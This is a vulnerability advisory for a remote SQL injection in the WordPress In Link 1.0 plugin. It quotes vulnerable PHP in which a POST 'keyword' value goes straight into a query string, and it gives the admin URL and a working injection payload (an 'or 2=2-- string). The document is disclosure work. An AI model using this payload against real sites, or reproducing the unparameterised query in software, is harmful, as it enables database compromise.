Exploit the possiblities

WordPress In Link 1.0 SQL Injection

WordPress In Link 1.0 SQL Injection
Posted Nov 21, 2017
Authored by Dimopoulos Elias

WordPress In Link plugin version 1.0 suffers from a remote SQL injection vulnerability.

tags | exploit, remote, sql injection
MD5 | 600b52112356168f81ddd51bfa225566

WordPress In Link 1.0 SQL Injection

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Vulnerability Type:

SQL injection is POST parameter "keyword"

Affected plugin:
---------------------------------------
In Link
Version: 1.0
Requires WordPress Version: 2.8 or higher
Compatible up to: 2.8
URL: https://wordpress.org/plugins/inlinks/
(plugin has been closed after the report)
---------------------------------------

Affected file inlinks/inlinks.php

Affected lines:

58 $Keyword = trim($_POST['keyword']);
59 $URL = trim($_POST['url']);
60 $Rel = trim($_POST['rel']);
61 $Target = trim($_POST['target']);
62 $table_name = $wpdb->prefix ."URLKeywordsMapping";
63 $SelectKeywordURLMappingDetails = "select * from $table_name
where FldKeyword LIKE '".$Keyword."'" ;
64
65 $KeywordURLMappingDetails =
$wpdb->get_results($SelectKeywordURLMappingDetails);
66
67 if(count($KeywordURLMappingDetails))
68 {
69 $Message = "<div align='center' style=\"color:red;
font-weight:bold;\">The keyword <i>".$Keyword."</i> already exists in
the table.</div>";
70 }

More issues seems to exist in the plugin, because of lack of input
validation and the lack of use of prepared statements.

Affected URL:

/wp-admin/options-general.php?page=inlinks%2Finlinks.php

POST Parameters (with payload):
keyword=gweeperx'or+2=2--+-&url=http%3A%2F%2F127.0.0.4&rel=nofollow&target=_blank&ActionType=AddKeywordURL&Add=Add

Tested against:

* In Link 1.0
* WordPress 4.9
* mysql Ver 14.14 Distrib 5.7.20, for Linux (x86_64) using EditLine
wrapper
* PHP 7.0.22-0ubuntu0.16.04.1

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